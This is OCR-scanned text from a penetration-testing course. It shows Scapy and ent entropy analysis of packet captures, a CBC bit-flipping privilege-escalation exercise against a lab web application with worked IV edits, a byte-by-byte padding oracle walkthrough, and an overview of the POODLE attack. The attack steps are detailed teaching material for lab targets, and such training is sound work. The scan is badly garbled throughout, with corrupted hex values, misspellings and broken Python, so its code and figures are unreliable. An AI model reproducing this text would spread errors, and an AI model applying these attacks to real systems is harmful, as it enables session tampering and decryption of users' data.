entropy per byte (which would be fully random) and is likely encrypted. This is an overall
assessment of payload content though, and does not focus on specific application payload data.
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Combined tcpick Content

In order to evaluate all the tcpick data streams with Ent, we can concatenate them together using the "cat"
utility. Once we combine all the individual capture files together and measure the entropy of the TCP payload
content, we can see an overall entropy measurement.

From the entropy results ofthe second capture Fle, we can determine that this file is likely encrypted, with an
entropy level close to 8 (perfect randomness). The first and third capture fles have low entropy, indicating that
it is not encrypted.

Note this analysis technique focuses on the content ofthe payload Fles extracted with tcpick, which would be
TCP payload data. This technique does not evaluate the content of application payload data, which may be
only a portion ofthe encrypted or unencrypted payload content.
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Scapy Payload Extraction

# scapy

>>> fp = open(“"capturel.dat", "wb")

>>> def handler (packet) :
fp.write(str(packet.payload.payload))

>>> sniff(offline="capturel.dumpe,prn=handler, filter=+tcp or udp")
<Sniffed: TCP:6213 UDP:0 ICMP:0 Other:0>

>>> fp = open("capture2.dat", "wb")

>>> sniff(offline="capture2.dup",prn=handler, filter="tcp or udp")
<Sniffed: TCP:42512 UDP:0 ICMP:0 Other:0>

>>> fp = open(“"capture3.dat", swb")

>>> sniff(offline="capture3.dup",prn=handler, filter=+tcp or udp")
<Sniffed: TCP:38722 UDP:0 ICMP:0 Other:0>

>>> "D

# ent capturel.dat | grep Entropy

Entropy = 7.567693 bits per byte.

# ent capture2.dat | grep Entropy

Entropy = 7.993971 bits per byte.

# ent capture3.dat | grep Entropy

Entropy = 4.977198 bits per byte.

Remember to use your arrow keys for command history recall.
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Scapy Payload Extraction

This slide shows a Scapy session that extracts the TCP or UDP payload fiom each packet in the lab packet
capture Fles. Afer running the script, the entropy for each fle is measured. Here the entropy ofthe frst
packet capture is higher than we previously saw with tcpick and Ent, but not high enough to indicate the
presence ofencrypted data. Further inspection ofthe packet capture would be necessary to Flter out specifc
protocol or session information to confrm the use ofencrypted or unencrypted data.

Again, the second packet capture has an entropy level ofnearly 8 bits per byte, indicating that it is likely
encrypted content. Finally, the third packet capture still shows very low entropy, indicating plaintext content.

The process ofextracting the data is shown in detail below for the second packet capture;

# scapy
>>> fp = open("capture2.dat", "wb")
>>> def handler (packet) :
fp.write (str (packet.payload.payload))

>>> sniff(offline="capture2.dump", prn=handler, filter="tcp or udp")
<Sniffed: TCP:8134 UDP:0 ICMP:0 Other:0>

>>> AD

# ent capture2.dat | grep Entropy

Entropy = 7.993291 bits per byte.
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Diferentiating Encryption and Obfuscation: The Point

* Ditferentiating the use of cryptography and obfuscation
IS necessary prior to data analysis

* Visual histogram and entropy analysis tools can be
useful to identi¥ patterns similar to that of encrypted
data

* Simple payload data analysis overlooks encrypted upper-layer
protocol data

* Other factors, such as compressed data, can be misleading
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Diferentiating Encryption and Ob¥scation: The Point

In this exercise, we examined three di-ferent packet capture sources to identify the possible use ofencrypted
data. In some cases, it is straight®Frward to identi¥ the lack ofencryption by observing plaintext strings or
other repetitive data. In other cases, ob¥scated data may look similar to encrypted data, but we can apply
visual histogram and entropy analysis tools to gain new insight into the ¥Frmat and use ofthe data. Thisisa

necessary step prior to analyzing the quality ofthe cryptography system used.

In some cases, visual analysis and entropy analysis techniques can be misleading when analyzing data.
Inspecting the payload of TCP packets, Fr example, does not take into consideration unencrypted payload
header content with encrypted application payload in®rmation, treating both as a single data source. In our
examples, Scapy proved valuable as an opportunity to extract upper-layer application data to use as a focused
source for entropy analysis.

Still, other factors in the Frmatting ofdata can mislead visual histogram and entropy analysis tools. For
example, random data that is transmitted over the network can be mistakenly identified as encrypted, as can
compressed data that removes repetition from plaintext content. Data analysts can use these tools to evaluate
the content of observed data, but they should be taken only as a point ofconsideration while manually
inspecting data sources as wel|.
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Exercise Complete - STOP

You have successfully completed the exercise.
Congratulations!
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Exercise Complete - STOP
This marks the completion ofthe exercise. Congratulations on successFlly completing all the exercise steps!
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CBC Bit Flipping Attacks

Ciphertext Ciphertext Ciphertext
2 i S o o e A
— — t

Decwrt Dec—t Dec _r't
Routine Routine Routine
T ¥ v
v == S @
| E—n "H‘H‘H‘H H“H'l‘ I 'H
Plaintext Plaintext Plaintext

= CBC decryption XORs the decrypted data with the prior ciphertext block
= Modified ciphertext will produce invalid plaintext (not always an issue)
= Attacker can manipulate the plaintext data by modifying prior encrypted block
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CBC Bit Flipping Attacks

There are several opportunities for us to exploit weak cryptographic implementations that can yield content
decryption, privilege escalation, or even key recovery. Next we'll look at several attacks against cryptographic
systems in sample implementations that will give you insight into applying these attacks against your target
systems.

First, we'll look at CBC bit flipping attacks. Earlier we saw that CBC mode uses the output ofthe prior
encrypted block as an XOR input with the encrypted plaintext to produce the ciphertext value. The inverse
process is used to decrypt data, shown on this slide. In the frst block, the ciphertext is decrypted and then
XORed with the 1V to produce the frst plaintext block. The decrypted ciphertext is then used as the input of
the next block, XORed with the decrypted ciphertext to produce the next block ofplaintext.

Knowing this, we can see that an attacker who changes the encrypted content ofa prior block (or the IV for
the frst block) can predictably infuence the next plaintext value. This can have the negative consequence of
corrupting the prior plaintext block (since we modified some ofthe ciphertext in this block prior to
decryption), but this is not always an issue for applications. When targeting the frst block of ciphertext, the 1V
is modifed by the attacker, which avoids any data corruption concers.

On this slide, the attacker aims to manipulate the plaintext ofthe third block (the rightmost block shown). In
order to manipulate this value, the prior ciphertext block is modified. In order to leverage this attack, the
attacker needs to have some ability to observe the impact oftheir changes, preventing this attack Ffom being
efective in a blind-attack situation. Once the attacker can identify how the manipulated data changes the
Fllowing plaintext block, they can modi T the change to produce an arbitrary value oftheir choosing. When
combined with web applications that per®rm auser JD check in an encrypted session variable, an attacker can
potentially manipulate the decryption process to gain escalated system privileges.
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http://crypto.sec660.org/postauth.php?iv=d93b9calecelaff06defb98b26
89ce7b&session=e4806d8delfbcf0951f67blb626dcdle

CBC Bit Flip - Privilege Escalation (1)

Hello sue. Your userid is 100. You.-group IDis 100. I

Basic users get limited permissions. Only users with UID 1 get administrator privileges. You cannot change any
systcn, pararneters.

Do,"e

Click here to start over, 3

http://crypto.sec660.org/postauth.php?iv=d9FFFFalecelaff06defb98b26
89ce7b&session=e4806d8delfbcf0951f67blb626dcdle

@ Authenticated Uzer Page - Mozita Firefox - = e |

Cl(kber:.10.srrr.over.

Hello s+3: Your userid s 100. Your group JO is 100.]

Basic users get limited permissions. Only users with UID 1 get administrator privileges. You cannot change any
systern parcrnete,s
Dene
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CBC Bit Flip - Privilege Escalation (1)

This slide shows the output from a sample web application that is vulnerable to a CBC bit Fip attack. In the
URL bar, we see two parameters; one is an IV of 16 bytes and the second variable "session" represents the
encrypted content used by the web application to identi¥ the logged-in user and their user and group
permissions. With an 1V of | 6 bytes, itis likely that this application uses AES encryption (a common
encryption algorithm with a 16-byte block size). The session data is also 16 bytes, indicating that there is only
one block of ciphertext in this application.

When the user opens this page, it reads "Hello sue. Your userid is 100. Your group ID is 100." We can use this
information to identi® how the system reacts to our bit flip changes.

Since there is only one encrypted block, we modify the 1V to manipulate the plaintext value ofthe session
data. We don't know exactly where in the encrypted session data the usemame, user ID, and group ID are
stored, so we start experimenting by changing one byte ofthe IV at a time. In the second example on this slide,
changing the second and third bytes ofthe 1V causes the usemame to display with odd characters; clearly our
change has afected how the session information decrypts. We're not terribly interested in manipulating the

username, so we continue to monitor small portions ofthe IV until we start seeing changes in the user ID
value.

© 2018, Joshua Wright, James Shewmaker 39




"\ Authenticated User Poge - Mozilla Firefoe

CBC Bit Flip — Privilege Escalatlon (2)
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http://crypto.sec660.org/postauth.php?iv:d93b9ca1FFFFFFf06defb98b26
89ce7b&session=e4806d8delfbcf0951f67blb626dcd0le

< > hereto s&rl Q. 1.

Hello sue. Your usend is ".:. Your group ID s 100. I &

Basic users get limited permissions. Only users w,th UID 1 get administrator privileges. You cannot change any
system parameters. -

Done

|'® AutkCItieMed u ] Page - Mo7ma Firnox — i |:| J

http://crypto.sec660.org/postauth.php?iv=d93b9calEDELAET06defb98b26
89ce7bé&session=e4806d8del fbcf0951f67blb626dcd0le

Clli:k b1 ul_suag)eC.

Hello su._Your uselld is Of1. Yaur @loup ID is LOO.

Wllcome super use, with UID OO.L Feel f,ee 10 change .nythin9 you Iike._l

Done
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CBC Bit Flip - Privilege Escalation (2)

Continuing to experiment with changing the 1V reveals that changing the 5th through 7th bytes allows us to
manipulate the user 1D value. Changing these felds to FFFFFF changes the userid from 100 to "." . Next, we
can predict which 1V value we can use to cause the user ID to be 001.

For the Frst byte ofthe user ID, the value OxF F caused the user I D to produce a double-quote character ". This
character has the hexadecimal value 0x22 in the ASCII character set. Since CBC mode XORs the output ofthe
ciphertext decryption process (an unknown value to the attacker) with the 1V (a known value) to produce
0x22, we can recover the decrypted value Fr this byte by XORing the manipulated IV and resulting plaintext
together:

OxFF XOR ?7?? = 0x22
OxFF XOR 0x22 = ???
OxFF XOR 0x22 =0xDD

Here we see that OXFF XOR 0x22 produces 0xDD. This value represents the keystream data Fom the
ciphertext block before being XORed with the IV. Since we want to produce a value 0T0x30 as the first byte
ofthe user ID (where 0x30 is the ASCII value Fr "0"), we simply XOR the keystream byte with the desired
decrypted value:

Oxdd XOR ??? = 0x30

Oxdd XOR 0x30 = ???
0Oxdd XOR 0x30 = Oxed
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Next we retur to the FF byte in the IV we know manipulates the user ID parameter, changing it to OXED. This
will cause the user ID to start with a 0. Repeat this process Fr the other two bytes as well to achieve a level of
privilege escalation on the target system.
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Exercise: CBC Bit Flip - Privilege Escalation

* Manipulate the target web application URL line
* Contains an IV and encry/ted user session value

* Identi¥ the value to be manipulated (IV or prior
encrypted block)

* Experiment with modifing values until you are able to
manipulate the application

http://crypto.sec660.org/session-handler.php
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Exercise: CBC Bit Flip - Privilege Escalation

In this exercise, you'll use the CBC bit Fip attack technique against a vulnerable web application to achieve a
greater privilege level on the system. In this example, the URL bar contains an IV and an encrypted user
session value. Manipulate the encrypted block to change the decrpted session data.

Visit the URL on this page (which will redirect to a URL with the 1V and session data present) and experiment
with the 1V value to try to escalate your system privileges, gaining access to a "reward" once you reach UID 0

or equivalent.
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Exercise: CBC Bit Flip — Privilege Escalation - STOP

* Stop here, unless you want answers to the exercise
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Exercise: CBC Bit Flip - Privilege Escalation - STOP

Don't go any Frther unless you want to get the answers to the exercise. The next page will begin a review of
the answers to this exercise.

Ifyou are stuck or need a little help getting started, look at the next slide. Each successive slide gives you a
little more assistance in answering the exercise. |fyou want to do it all on your own however, stop right here.
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Recognizing IV and Encrypted Content

* Target web application URL line has an IV and
encrypted user session value

* IVis 16 bytes, likely AES cipher

* Session data is also 16 bytes, only one ciphertext block is
present
* Can edit IV to manipulate encrpted block

* Editing portions of the IV displays changes in the
username and UID
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Recognizing IV and Encrypted Content

The target web application and URL line has an IV and an encrypted user session value following the
parameters "iv" and "session". The IV is 16 bytes, indicating that the encryption algorithm is likely AES (a
common 16-byte block cipher).

The ciphertext content is also 16 bytes, indicating that there is only one ciphertext block present. Since there is
only one ciphertext block, we manipulate the IV to change the decrypted session data.

Experiment with changing portions ofthe IV value, starting with one byte at a time. Keep looking at the
changes to the decrypted session data Fr each change to identify which portion ofthe IV allows you to
influence the UID value.

© 2018, Joshua Wright, James Shewmaker




Sample IV Change

http://crypto.sec660.org/session-handler.php?
Iv=95851d6bFFFFed0171035d5e03886F10&
session=ee62c3757e899b566d80b04c47b6d2be

- - KN
CBC Bur Flip Vulnerable Enciypt. . = +
+ 3 siteaindiés LSBFFFF 01 ) A - Changing the 5th and 6th bytes of =
Qlitk Laore @ Erart. the IV changes the username content.

Continue working to the right until

Hello -Iwrict Your userid Is UID=20 )
, you start reaching the UID value.
Username in hex: Ox6a Ox77 Ox72 Ox69 Oxe7 Ox41 Ox74

UID in hex: Ox55 0x49 0x44 0x3d 0x32 0Ox30

Since yolIff permissions are only 20 you don't get any special access. Now, if there was a way you
could make your UID equal to zero (or 00), then that might be a dlfferent story. o
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Sample IV Change

This slide shows the URL for a sample 1V change. Here, changing the 5th and 6th bytes ofthe IV to OXFFFF
changes the web page fom "Hello jwright." to "Hello jwri9At.". We can see that changing these bytes ofthe
IV infuences the decrypted content, just not in the place where we want to manipulate the data. Keep working
to the right ofthe IV until you start seeing changes refected in the UID value.

© 2018, Joshua Wright, James Shewmaker 45




Predicting the DesiredValue

http://crypto.sec660.org/session-handler.php?
1v=95851d6b7fd6ed0171035d5e03886F10&
session=ee62c3757e899b566d80b04c47b6d2be

* The 13th and 14th IV byes control the user UID: 0x03 0x88

*  The defult UID is 20, only the frst byte (2 or 0x32) needs to be modifed
* 0x32 E ox03 = 0x3l = keystream byte

*  We want to produce an 0x30 ("0")
* KE??=0x30
* ox31 E ox30 = 77?7 = oxol

* Changing the 13th byte to oxol returns UID=0
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Predicting the Desired Value

[Twe keep changing values, we learn that the 13th and 14th bytes ofthe IV control the user ID parameter; in
the original 1V, these bytes are 0x03 and 0x88. In the web page content, the UID is "20" in ASCII or 0x32
0x30. We want to modifF this value to achieve a UID of00. Since the second byte ofthe UID is already zero,
we can Fcus on the frst byte.

The frst byte ofthe UID is 2 or 0x32. Ifwe XOR the decrypted byte (the plaintext) with the IV we can reveal
the keystream byte (KS). Here, the plaintext is 0x32 and the 1V is 0x03; XORed together it produces a
keystream byte of0x31.

Once we know the keystream byte, we can easily identi¥ the IV value that will produce the desired plaintext
byte. To achieve a UID of0, we need to change the plaintext value to "0" (0x30). We can use the Frmula KS
XOR ??? = 0x30 to solve the unknown 1V byte. Since KS XOR ??? = 0x30, and KSis 0x31, then 0x31 XOR
0x30 produces the desired V. 0x31 XOR 0x30 produces 0x0l .

Knowing this, we can change the 13th byte ofthe 1V to 0x0| to produce a UID of0.

46 © 2018, Joshua Wright, James Shewmaker




P 900000C

Successful Bit Flip

http://crypto.sec660.org/session-handler.php?
1v=95851d6b7fd6ed0171035d5e01886f10&
session=ee62c3757e899b566d80b04c47b6d2be

€« v hcal ft : or &

deimal. Q. w— 1

Healo jwright. Yeur userid is LWJID=00

Username in hex: Ox6a Ox77 Ox72 Ox69 Ox67 Ox6& Ox74
1JID In hex: Ox55 0x49 0>44 0x3d o,eo 0x30

Welcorne super student, Please erjoy this pictura as a 'raward” for youwr success,
A CRTTO NERDY \JH \/
LAVASINATION ¢ ACTUALLY MJIAN\N,
HIS LAPTOP'S TNCRYPTED Ht 1 PS ENCRYPTEDN.
LETS BUND A mMILION-DOLLAR, OO HI" PN HIT 111" \,IF
CLUSTER TO CRACK VT THIS $5 \  CH ™\.L
NO GOOD! TS HE. TEUS U5 THE. PMQICHD.
Lo ~BT RSAL \ Gr rr
BLPETL OUR j
EVIL PLAN }
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Successful Bit Flip

This slide shows that changing the | 3th byte ofthe IV causes the number following the "UID=" parameter to
change. Using the calculation on the previous slide, we know that replacing this value with 0x01 will cause the
UID to equal "00", yielding the "super student" page shown in this slide.
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CBC Bit Flip Attack: The Point

* CBC bit Fipping allows us to manipulate decrypted data
content in a predictable fashion

« By manipulating the previous block (or IV), we produce changes
in the next block

* Insome situations, CBC bit Fipping can be exploited for
privilege escalation

* Manually evaluate and inspect content to identi¥
application vulnerability
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CBC Bit Flip Attack: The Point

In this exercise, we exploited a vulnerable web application that used CBC encryption to protect the
confdentiality and integrity ofdata. By manipulating the encrypted content, we can change the data that
follows the manipulated block in a predictable fashion. Remember, ifwe are manipulating the frst block of
encrypted data, we target the 1V with the bit Fip changes.

In some situations, CBC bit flipping can be used for privilege escalation attacks. Identi®ing vulnerable
applications is a manual analysis task where we change specifc bits in an application and observe any
functionality changes that are produced.

48 © 2018, Joshua Wright, James Shewmaker




O

2000

Exercise Complete - STOP

You have successfully completed the exercise.
Congratulations!
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Exercise Complete - STOP
This marks the completion ofthe exercise. Congratulations on successFlly completing all the exercise steps!
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Oracle Padding Attacks

* Oracle: Something that gives you answers
* Padding: Required for block ciphers; diferent methods
are used

* An oracle attack exploits a decryption information
source

* For agiven block, did it decrypt correctly, incorrectly, or have
bad padding?

SEC 60 | Advanced Penetration Testing, EploitWriting, and E€ic| Hacking

Oracle Padding Attacks

A recent attack that has gained tremendous popularity Fr attacking cryptographic systems is the use ofa
decryption padding oracle to recover plaintext content from a vulnerable CBC mode block cipher. Despite a
common misconception, the attack is not specifically related to Oracle Corporation technology.

An oracle is something that gives you answers for your questions. In this attack, our oracle will be the target
system that is decrypting data.

As we saw earlier in this module, block ciphers make use ofpadding to create blocks of plaintext to encrypt
that are evenly divisible by the block length. The techniques ¥r padding can vary, though in this attack, we'll
rely on a common padding mechanism known as PKCS#5 padding.

for our oracle padding attack, we'll modif a target block ofplaintext one bit at a time, each time asking the
target system (the oracle), did the data decrypt properly, did it decrypt incorrectly, or did it have bad padding?
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PKCS#S/PKCS#7 Padding

Plaintext: Ja Pads blocks with an integer

sh e .
indicating number of padded
|_g_|_n_._ﬂJ_h_LoxgngngJm94Jnx04J bytes

Used for simple error checking

LB | r | A% | c | e loxogloxo’ZIQXQ:al « Even block boundaries get an

Plaintext: Stephen added block of just padding
S t | e p Il hle | r)_l.QXQ1.| added

Plaintext: Bernadette

|_B_|e|r|n|a|d|e|t||_LJJ_LQm|9m_dgx9_6_LomLonb_bmb]
Plaintext: Jennifer

[0l elnlnlilfl el r Joxosloxosloxosloxosloxosloxogloxogloxes!

PKCS#7 padding is identical to PKCS#Y5, for 8 or 16-byte block ciphers (PKCS#S5 is
only defined for 8-byte blocks)
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PKCS#S/PKCS#7 Padding

First, we'll examine the operation of PKCS#5 and PKCS#7 padding in block ciphers. On this slide, several
examples ofplaintext data are shown in their ASCH values, Fllowed by PKCSif5 padding in hexadecimal.
The string "Josh" makes up a partial block, where the remaining four bytes are padded with multiple 0x04
values. Similarly, the block "Bryce" requires three padding bytes, made up of0Ox03 bytes, followed by
"Stephen", requiring only one padding byte of0x0l. The PKCS#S mechanism adds padding bytes using the
value ofthe quantity ofpadding bytes required. This allows the receiving station to apply a simple validation
check on the received data. Ifthe last bytes of the decrypted data do not end in a valid padding sequence, then
the recipient does not need to continue processing the data, marking it as invalid.

This padding mechanism extends to multi-block entries as well, such as the string "Bernadette", requiring 10
bytes and 6 bytes of padding (using 0x06 values). When the plaintext data is an even block length, an
additional block is appended to the end ofthe packet, consisting solely ofpadding bytes. This allows the
receiver to apply its error handling routing even when the data is an even block length.

PKCS#7 padding is identical to PKCS#5 padding, and the two are commonly used interchangeably. The only
notable difference between PKCS#S and PKCS#7 padding is that PKCS#7 padding was designed to
accommodate 8-byte or 16-byte blocks while PKCS#5 is specifed solely for 8-byte blocks. In practice,
developers use the two interchangeably, with many PKCS#5 implementations supporting 8- or 16-byte block
lengths.

Now that we understand the concepts ofa decryption oracle and PKCS#5 and PKCS#7 padding, we can look
at the oracle padding attack step-by-step.
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Oracle Padding Attack - Walkthrough ()

* Application server authenticates username and
password

* Client and server share a single key to protect credential delivery

* You've observed the encrypted value, want to recover
plaintext

* Protocol assessment indicates that the IV precedes the
encrpted string
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Oracle Padding Attack - Walkthrough (1)

In our example, we'll examine a technique to leverage an oracle padding attack against an application server. In
this scenario, our target application server uses a proprietary network protocol ¥r user authentication, where
the username and password are encrypted with a shared secret using a CBC mode block cipher before being
sent over the network. Afer establishing a man-in-the-middle attack against the server, we can observe the
encrypted authentication credential delivery, and we want to recover the plaintext value.

In your assessment ofthe proprietary protocol you have been able to identiF that the IV value precedes the
encrypted string. For a given authentication exchange, we are able to identi¥ both the IV and the encrypted
authentication data.
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Oracle Padding Attack - Walkthrough (2)

IV="\x35\x36\x37\x38\x64\x65\x66\x67"
ENC="\x13\x25\x16\xa7\xbd\x78\x67\xa0\x71\x5e\xbd\x9%9a\x3a\x2c\x5e\x83"

* IVis 8 bytes, so the block size is 8

bytes as well e
* Algorithm is likely DES or 3DES, but D
. ecrypt
we don't care for this attack T
* Ciphertext is 16 bytes, two blocks ok
I — == "r11717]
Plaintext
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Oracle Padding Attack - Walkthrough (2)

The hex values on thisslide represent the 1V and encrypted data information ¥r the targeted authentication
exchange. Since the IV is 8 bytes, we know the block size is 8 bytes as well, indicating that this is likely a DES
or 3DES implementation (though the cipher selection does not afect our attack; AES implementations with

| 6-byte block sizes are also vulnerable).

The ciphertext length is 16 bytes, representing two blocks ofdata.

As a refresher, examine the CBC decryption routine shown on this slide. The cipherlext value is decrypted
producing keystream data, which is XORed with the IV to produce plaintext. The ciphertext value Fom this
block then takes the role ofthe IV for the next block.
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Qracle Padding Attack - Walkthrough (3)

Attacker sends 1 ciphertext block IV="\x00\x00\x00\x00\x00\x00\x00\x00"
and IV of all O's to server. ENC="\x13\x25\x16\xa7\xbd\x78\x67\xa0"

Ciphertext | oxq13 | ox25_| ox16 | oxa7 | oxbd | 0x78 | 0x67 | oxao |
- - D

r Decryption Routine with Secret Key ]

Keystream z - . . - . '
(notknownl oxsf l 0X41 ] ox45 ] 0x51 ] 0Xx03 I oxod ] oxI12 I 0X5C |

to attacker) E E E E E E E E Not a valid

IV | 0X00 | 0X00 ] 0X00 1 0X00 l 0X00 l 0X00 [ 0X00 l 0X00 1 padding byte,
server returns

Plaintext - - = = = - § Padding Error
(alsonot | oxsf | ox41 | oxq5 | oxsi | oxo3 | oxod | oxi2 | oxse |e \)

known)
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Oracle Padding Attack - Walkthrough (3)

For our attack, we'll target the first block of ciphertext. Since the IV is encoded in the data sent to the server,
we can manipulate this value and send an IV ofall O's to the application server, along with the frst 8 bytes of
the ciphertext we are exploiting.

When the application server receives this data, it will take our ciphertext block and decrypt it. This will
produce keystream data that is not known to the attacker. The keystream data is then XORed with the IV (our
crafed IV ofall 0's), producing an invalid plaintext.

Afer producing the invalid plaintext, the application server will check the last byte ofthe plaintext to identi
ifitis a valid padding byte. The attacker does not know what the plaintext value is, but ifthe server responds
with an error indicating that it experienced a padding error, then the attacker knows that the last byte of
plaintext did not end in a valid padding byte.
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Oracle Padding Attack - Walkthrough (4)

Attacker repeats sending data to the server, each time incrementing the last byte of
the B.When the plaintext ends in oxol, server does not return a padding error.

[ oxi3 | ox25 | oxl6 | oxaz | oxbd | oxz8 | ox67 | oxao |

L T L Sovena]
[ Decryption Routine with Secret Key ] gsz:g:s

¥ ¥ v v ¥ v v ¥ later...
[ ox.f | ox4l [ ox4. | ox.l [ oxo3 [ oxod [ oxi2 | ox5c | [ | [0x5¢4 ]

E E ¥« E E_.E ¥ E E E

[ oxo00 | oxoo | oxoo [ oxoo ] oxoo | oxoo [ oxoo | oxol | -

ox02 ] - [0x5d ]

v v v \/ v \ \ \

| ox.f | ox4l | ox45 | ox.l | oxo3 | oxod | ox12 | ox5d ]

v
Loxwe |yl ovcd]

_y

Padding Success

Padding Error
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Oracle Padding Attack — Walkthrough (4)

Knowing that the frst IV ofall 0's did not produce a valid padding byte for the last byte of decrypted payload,
we continue to modif the IV, this time changing the last byte ofthe 1V to 0x01, our next guess. When we
send this new IV and the same encrypted block to the server, the server will decrypt the data and send another
padding error message. Upon seeing this error, we continue changing the last byte of our IV until we get a
message from the server indicating anything other than a padding Filure. In the example on this slide, an 1V

ending in 0x5d causes the padding success message.
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Oracle Padding Attack - Walkthrough (5)

* Attacker knows the 1V byte oxsd produces a:

TV="\x35\x36\x37\x38\x64\x65\x66\x67"
ENC="\x13\x25\x16\xa7\xbd\x78\x67\xa0\x71\x5e\xbd\x9%a\x3a\x2c\x5e\x83"

» Padding success
« Can deduce unknown keystream with ox5d ® 0xo01 = ox5¢
* Knowing keystream byte, can recover the corresponding byte

of plaintext
« KS_Byte ® IV = Plaintext
Since KS_ Byte ® ox5d = oxo1, KS_Byte @ IV = Plaintext
Then KS_ Byte == 0x5d @ oxo01. ox5¢ @ 0x67 = Plaintext.
So, KS_ Byte = 0x5c¢ ox5¢ @ 0x67 = ox3bor ";"

SEC660 | Advanced Penetration Testing, Exploit Writing, and Ethical Hacking 56

Oracle Padding Attack - Walkthrough (5)
In the prior slide, we leared that the value that caused a padding success was 0x5d. Since the only value that
would return the padding byte as valid here is 0x0l, we can identify the unknown keystream byte as well.

Since the keystream byte is XORed with the IV to produce plaintext and we know that the IV guess 0x5d
produces a plaintext padding value 0f0x0 1, we can XOR the 1V guess with 0x01 to identi¥ the keystream
byte as shown:

KS_Byte XOR 0x5d = 0x0|
KS_Byte = 0x5d XOR 0x0l =0x5c

Returning to the original IV shown at the top ofthis slide, we can see the IV byte that was originally used to
XOR with the keystream byte to produce valid ciphertext (0x67). When the data is normally decrypted, the
keystream byte is XORed with the IV to produce the plaintext. Since we know the keystream byte fom the
padding attack output, we can XOR it with the original IV byte to produce plaintext as shown:

KS_Byte XOR IV = Plaintext
0x5¢ XOR 0x67 = Plaintext = 0x3b (or ";" in ASCI|I).

Accordingly, we have recovered the last byte of plaintext fom our encrypted block. Next, we'll continue the
process to attack the prior block as well.
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Oracle Padding Attack - Walkthrough (6)
Attacker moves on to the next-to-last bye ofthe ciphertext. The recovered byte is
changed to produce oxo02 to make the padding valid ¥r 2 bytes.

1V="\x35\x36\x37\x38\x64\x65\x66\x67"

0x13 | 0x25 | ox16 | oxa7 | oxbd | ox78 | ox67 [ oxao |
v v v v v v v v Several
Decrption Routine with Secret Key ] guesses
t t X r . g . - later...
[ ox5T T ox:I [ ox:5 | ox51 | oxo3 | oxod [ oxi2 | ox5c | [ ] I I
E . E . E . E. E . E . E . E . E
| o>fvoo | 0X00 | oxo00 | 0x00 | 0X00 | oxo00 | 0X00 | ox.e | ... | QXQl || & | E—
|_ox5f |L0x,@ [ oxas | _Ox5L | 0x03 | oxod | oxiz | oxoz | [ ] 2 ]
Padding Error s Y Padding Success

KS = ox10 E ox02 = 0x12. KS E B = Plaintext. ox12 E ox66 = ox74 ("t").
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Oracle Padding Attack - Walkthrough (6)

We now move on to the second-to-last block of ciphertext. We continue the process, again guessing IV values
and sending them to the application server until we do not get a padding error. Since we are attacking the
second-to-last byte ofciphertext, we want to produce two bytes ofvalid padding. Since this is PKCS#S
padding, the two byte values must be 0x02. Thisisn'ta problem for us; we simply take the valid IV guess that
recovered the last byte of plaintext (OxSd) and increment it by one (0xSe) to create a value 0f0x02 in the

plaintext.

Again we start with an 1V value 0f0x00 and look Fr a padding error. Since an IV value 0f0x00 does not
produce a valid padding value of0x02 (shown here, the server would create a byte value of0x1 2), we
continue guessing with 0x0 1, 0x02, etc. When we guess 0x 10, the application server returns a response other
than a padding error, revealing that an IV of 0x 10 produces a valid padding byte of0x02.

Returning to our plaintext byte recovery step, we identi¥ the corresponding byte of keystream data by
XORIing the JV guess (0x10) with the valid padding byte (0x02) as shown:

KS_Byte = 0xI 0 XOR 0x02 = 0x12.

Knowing the keystream byte is 0x12, we can use the original IV to recover the second-to-last plaintext byte of
our block as shown:

KS_Byte XOR IV = Plaintext
0x12 XOR 0x66 = Plaintext = "0x74" (ASCII "t").

We continue this process to recover all ofthe plaintext ofthe block. Once the entire block data is recovered,
we substitute the current block ¥r another block and continue the process. For subsequent blocks, remember
to XOR the keystream byte with the prior encrypted block byte, not the original 1V (since the original IV is
only used for the first block of ciphertext).
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Padding Oracle on Downgraded Legacy Encryption (POODLE)

* Attack against browser TLS/SSL negotiation and SSL 3.0 padding
oracle

* Browser vulnerability:
* Many browsers poorly negotiate SSL/TLS

» Attempt to negotiate highest security, and if that fails, try again with
lesser security

* SSL 3.0 vulnerability:
* Decrypts, checks padding, and then authenticates

 Attacker can swap unknown blocks to the end of the message to
perform a padding oracle attack

* Requires MITM and HT P JavaScript injection
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Padding Oracle on Downgraded Legacy Encryption (POODLE)

An excellent example ofthe padding oracle attack used in practice is the Padding Oracle n Downgraded
Legacy Encryption (POODLE) attack. The POODLE attack exploits both a cryptographic vulnerability in SSL
3.0 (a padding oracle attack) and a common vulnerability in browsers in how they negotiate security settings
with an HTTPS website.

Although TLS has a cryptographic negotiation Fature that prevents an attacker Ffom downgrading the security
ofthe algorithmused to protect the HTTPS session, all modern web browsers have added Fnctionality to
make browsers more compatible with websites that do not follow the TLS specifcation. For greater
compatibility, ifthe server does not respond to the initial encryption level request, the browser retries with
successively weaker security settings until the server responds. A MITM attacker can simply drop the requests
asking for TLS/L .2, TLS/!.1, and TLS/1.0 support but forward the request Fr SSL 3.0 support.

SSL 3.0 also is vulnerable to a padding oracle attack. Asa MITM, an attacker can take a block of ciphertext
and duplicate the value at the end ofthe packet, overwriting the padding block. Ifthe end ofthe block does not
end with a valid padding byte (Fr example, 0-7 ¥r 8-bit blocks, 0-15 for [6-bit blocks), then the server will
terminate the SSL session, disclosing the error to the attacker. I1fan attacker can Frce the victim to make
multiple requests, each time using a different encryption key (but the same cookie value or other target value
the attacker wants to decrypt), an attacker can eventually deduce the last byte ofthe moved block when the
session is not terminated. Changing the requested URL by one character (for example, "GET /" becomes
"GET /a") allows the attacker to move on to the next byte ofthe cookie value, ultimately recovering the entire
cookie content.

For the POODLE attack to be used in practice, an attacker must have the M IT M network advantage and must
be able to infuence the client to make repeated HTTPS requests while trying to decrypt the target value. This
is not an unlikely scenario, because an attacker who is a MITM can inject arbitrary JavaScript content to make
the HTTPS requests from the victim by manipulating any HTTP network activity.
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POODLE Attack
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POODLE Attack
This diagram illustrates the POODLE attack in practice:

1,
2.

An attacker establishes a position as a MITM through LAN manipulation or a WiFi attack.

As a MITM, an attacker cannot see the encrypted content, but we deduce from hostname or
unencrypted certifcate information that an HT TPS session is in progress that we want to exploit to
recover cookie content.

The attacker drops all packets in the HTTPS session, forcing the browser to terminate the session.
Depending on the browser, the session may automatically attempt to reconnect or the user may have to
refresh the browser to try and connect to the server. When the new TLS negotiation starts, the attacker
drops the negotiation requests that attempt to use TLS/1.2, TLS/L.1, and TLS/!L.0, forcing the browser
to fall back to SSL 3.0.

The attacker must Frce the victim to make many HTTPS requests repeatedly to exploit the padding
oracle vulnerability in SSL 3.0. This is possible by manipulating the victim browser over HTTP. The
victim must browse to an HT TP website that the attacker can manipulate or the victim must have
previously browsed to a website the attacker controls.

